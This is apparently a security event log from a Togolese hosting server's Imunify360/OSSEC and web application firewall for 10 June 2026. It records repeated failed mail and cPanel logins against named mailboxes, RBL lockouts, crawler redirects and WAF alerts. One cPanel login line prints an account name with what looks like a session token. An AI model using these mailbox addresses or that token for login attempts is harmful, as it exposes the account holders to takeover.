47.128.96.20 - - [10/Jun/2026:12:42:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6997614&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Faccident-de-circulation-au-mali%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095337 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/accident-de-circulation-au-mali/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.20


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.174.192.226
country_id: 298795
description:
2026-06-10 12:41:44 dovecot_plain authenticator failed for H=([198.23.185.222]) [78.174.192.226]:39526: 535 Incorrect authentication data (set_id=suporte@dagl.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.179.228.21
country_id: 798544
description:
Jun 10 12:41:45 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.179.228.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.171.244.186
country_id: 2750405
description:
2026-06-10 12:41:54 dovecot_plain authenticator failed for H=77-171-244-186.fixed.kpn.net (LAPTOP-A2NMT4PD) [77.171.244.186]:56584: 535 Incorrect authentication data (set_id=sales@kics.kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.168.76.178
country_id: 1733045
description:
2026-06-10 12:42:17 dovecot_plain authenticator failed for H=([198.23.185.222]) [202.168.76.178]:36869: 535 Incorrect authentication data (set_id=office@dagl.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.66.95.206
country_id: 1880251
description:
2026-06-10 12:42:40 dovecot_login authenticator failed for H=bb115-66-95-206.singnet.com.sg ([198.23.185.222]) [115.66.95.206]:45562: 535 Incorrect authentication data (set_id=soporte@dagl.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.162.20.199
country_id: 3865483
description:
2026-06-10 12:42:42 dovecot_login authenticator failed for H=(45.162.20.199) [45.162.20.199]:47557: 535 Incorrect authentication data (set_id=test@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.199
country_id: 3865483
description:
Jun 10 12:42:40 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.199 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.6.7.8
country_id: 3932488
description:
2026-06-10 12:42:48 dovecot_plain authenticator failed for H=([198.23.185.222]) [179.6.7.8]:57427: 535 Incorrect authentication data (set_id=ventas@dagl.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.47.58
country_id: 2017370
description:
2026-06-10 12:43:20 dovecot_plain authenticator failed for H=89-109-47-58.dynamic.mts-nn.ru ([198.23.185.222]) [89.109.47.58]:6366: 535 Incorrect authentication data (set_id=info@dagl.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-10 12:43:28 +0000] info [webmaild] 102.176.253.226 - secre.gene@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.199
country_id: 1880251
description:
47.128.96.199 - - [10/Jun/2026:12:42:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12961178&pdata=https%253A%252F%252Ftdn.tg%252Fsuspension-visa-etudiants-etrangers-etats-unis%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095377 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/suspension-visa-etudiants-etrangers-etats-unis/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.199


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.102.207.76
country_id: 1210997
description:
2026-06-10 12:43:05 dovecot_plain authenticator failed for H=([198.23.185.222]) [103.102.207.76]:50944: 535 Incorrect authentication data (set_id=clients@dagl.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.14
country_id: 1880251
description:
47.128.96.14 - - [10/Jun/2026:12:43:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10261348&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fkodjo-fo-doh-laba%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095409 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/kodjo-fo-doh-laba/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.14


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.201
country_id: 1880251
description:
47.128.96.201 - - [10/Jun/2026:12:42:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116648&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Famende-de-3000-euros%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095358 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/amende-de-3000-euros/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.201


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.243.14
country_id: 1562822
description:
Jun 10 12:43:38 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.243.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.1.213.160
country_id: 1562822
description:
2026-06-10 12:43:53 dovecot_plain authenticator failed for H=(37ni6pxtfhjptu0m8ydhws23) [117.1.213.160]:50233: 535 Incorrect authentication data (set_id=ag@togointerim.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.1.213.160
country_id: 1562822
description:
Jun 10 12:43:51 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.1.213.160 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.14
country_id: 1880251
description:
47.128.96.14 - - [10/Jun/2026:12:44:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13199302&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmagicien-des-porte-monnaies-magiques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095449 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/magicien-des-porte-monnaies-magiques/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.14


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.167
country_id: 1880251
description:
47.128.96.167 - - [10/Jun/2026:12:45:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10077333&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fministere-des-enseignements-primaire%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095528 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ministere-des-enseignements-primaire/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.167


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 10 12:46:32 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-10 12:46:12 +0000] info [webmaild] 102.176.253.226 - secre.gene@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.93.32
country_id: 1512440
description:
2026-06-10 12:46:46 H=([213.230.93.32]) [213.230.93.32]:54103 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.75.35
country_id: 6252001
description:
[2026-06-10 12:47:10 +0000] info [whostmgrd] 217.181.75.35 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.239.202
country_id: 1269750
description:
Jun 10 12:47:03 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.239.202 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-10 12:47:11 +0000] info [webmaild] 102.176.253.226 - secre.gene@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.135
country_id: 1880251
description:
47.128.96.135 - - [10/Jun/2026:12:47:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934228&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Flaurence-assignon-au-guinness-world-records%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095638 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/laurence-assignon-au-guinness-world-records/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.135


plugin: modsec
rule: 77350947
name: IM360 WAF: Suspicious scrapping User-Agent
abuser: 198.145.48.83
country_id: 6252001
domain: cafe.tg
description:
IM360 WAF: Suspicious scrapping User-Agent||MV:curl Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jun 10 12:46:40 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-10 12:47:49 +0000] info [webmaild] 102.176.253.226 - secre.gene@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.174.194.168
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:107.174.194.168||TA:107.174.194.168||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.227.172.13
country_id: 2017370
description:
Jun 10 12:48:52 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.227.172.13 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.163
country_id: 1880251
description:
47.128.96.163 - - [10/Jun/2026:12:49:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10316190&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095778 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F3%2F" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.163


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.93.32
country_id: 1512440
description:
2026-06-10 12:50:11 H=([213.230.93.32]) [213.230.93.32]:7423 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.177.210.193
country_id: 3469034
description:
2026-06-10 12:51:15 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [45.177.210.193]:57152: 535 Incorrect authentication data (set_id=olivier.gadawouye@ekeasarl.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.68
country_id: 1880251
description:
47.128.121.68 - - [10/Jun/2026:12:51:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10076821&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftogo-usa-faure-essozimna-gnassingbe-sest-entretenu-avec-le-gal-michael-langley%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095885 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/togo-usa-faure-essozimna-gnassingbe-sest-entretenu-avec-le-gal-michael-langley/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.68


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 85.113.15.150
country_id: 1527747
description:
2026-06-10 12:50:50 H=([85.113.15.150]) [85.113.15.150]:65508 F=<www.linkedin.comarse@arse.tg> rejected RCPT <www.linkedin.comarse@arse.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.177.210.193
country_id: 3469034
description:
Jun 10 12:51:13 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.177.210.193 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.156
country_id: 1880251
description:
47.128.96.156 - - [10/Jun/2026:12:51:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803723&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Flaurence-assignon-au-guinness-world-records%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095907 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/laurence-assignon-au-guinness-world-records/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.156


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.171
country_id: 1880251
description:
47.128.96.171 - - [10/Jun/2026:12:52:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7312238&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fkodjo-fo-doh-laba%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095928 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/kodjo-fo-doh-laba/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.171


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.108
country_id: 2635167
description:
[2026-06-10 12:52:20 +0000] info [cpaneld] 5.230.153.108 NEW aopsacai:Xfvj3pbhaEDPexDZ address=5.230.153.108,app=cpaneld,creator=aopsacai,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.122
country_id: 1880251
description:
47.128.96.122 - - [10/Jun/2026:12:52:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379049&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdemission-dun-maire-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095960 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/demission-dun-maire-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.122


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.130.140.24
country_id: 3658394
description:
190.130.140.24 - - [10/Jun/2026:12:52:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921630&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Foradys-group-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095973 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/oradys-group-recrute/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.5575.1932 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.130.140.24


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.199.67.164
country_id: 1835841
description:
Jun 10 12:53:10 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.199.67.164 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.175
country_id: 1880251
description:
47.128.96.175 - - [10/Jun/2026:12:53:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10078156&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fawi-toyi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096032 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/awi-toyi/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.175


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.12
country_id: 1880251
description:
47.128.96.12 - - [10/Jun/2026:12:53:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185674&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Flaurence-assignon-au-guinness-world-records%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096026 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/laurence-assignon-au-guinness-world-records/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.12


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.127
country_id: 1880251
description:
47.128.96.127 - - [10/Jun/2026:12:55:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989274&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096100 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.127


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.62.213.80
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/senat-togo-barry-moussa-barque-rencontre-la-cedeao-et-loms/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.62.213.80
country_id: 1168579
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/senat-togo-barry-moussa-barque-rencontre-la-cedeao-et-loms/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.175
country_id: 1880251
description:
47.128.96.175 - - [10/Jun/2026:12:55:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10052761&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Freprise-des-cours-en-presentiel-dans-les-universites%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096132 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/reprise-des-cours-en-presentiel-dans-les-universites/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.175


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.88.211.165
country_id: 1643084
description:
Jun 10 12:56:22 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.88.211.165 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 122.6.245.65
country_id: 1814991
description:
2026-06-10 12:57:09 H=([122.6.245.65]) [122.6.245.65]:60727 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.143
country_id: 1880251
description:
47.128.96.143 - - [10/Jun/2026:12:57:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907546&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftogocom-fimo228-11e-edition%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096238 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/togocom-fimo228-11e-edition/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.143


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.113.243.21
country_id: 1512440
description:
2026-06-10 12:56:45 H=([188.113.243.21]) [188.113.243.21]:38042 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-10 12:57:02 +0000] info [webmaild] 102.176.253.226 - secre.gene@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.203
country_id: 1880251
description:
47.128.96.203 - - [10/Jun/2026:12:58:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10448489&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconference-interafricaine-des-marches-dassurances-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096291 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/conference-interafricaine-des-marches-dassurances-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.203


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.232.191.128
country_id: 3508796
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/dr-christian-mouala-nomme-directeur-pays-de-lonusida-au-togo/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.232.191.128
country_id: 3508796
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/dr-christian-mouala-nomme-directeur-pays-de-lonusida-au-togo/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.155
country_id: 1880251
description:
47.128.96.155 - - [10/Jun/2026:13:00:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051978&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdemission-dun-maire-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781096404 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/demission-dun-maire-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.155


plugin: ossec
rule: 31130
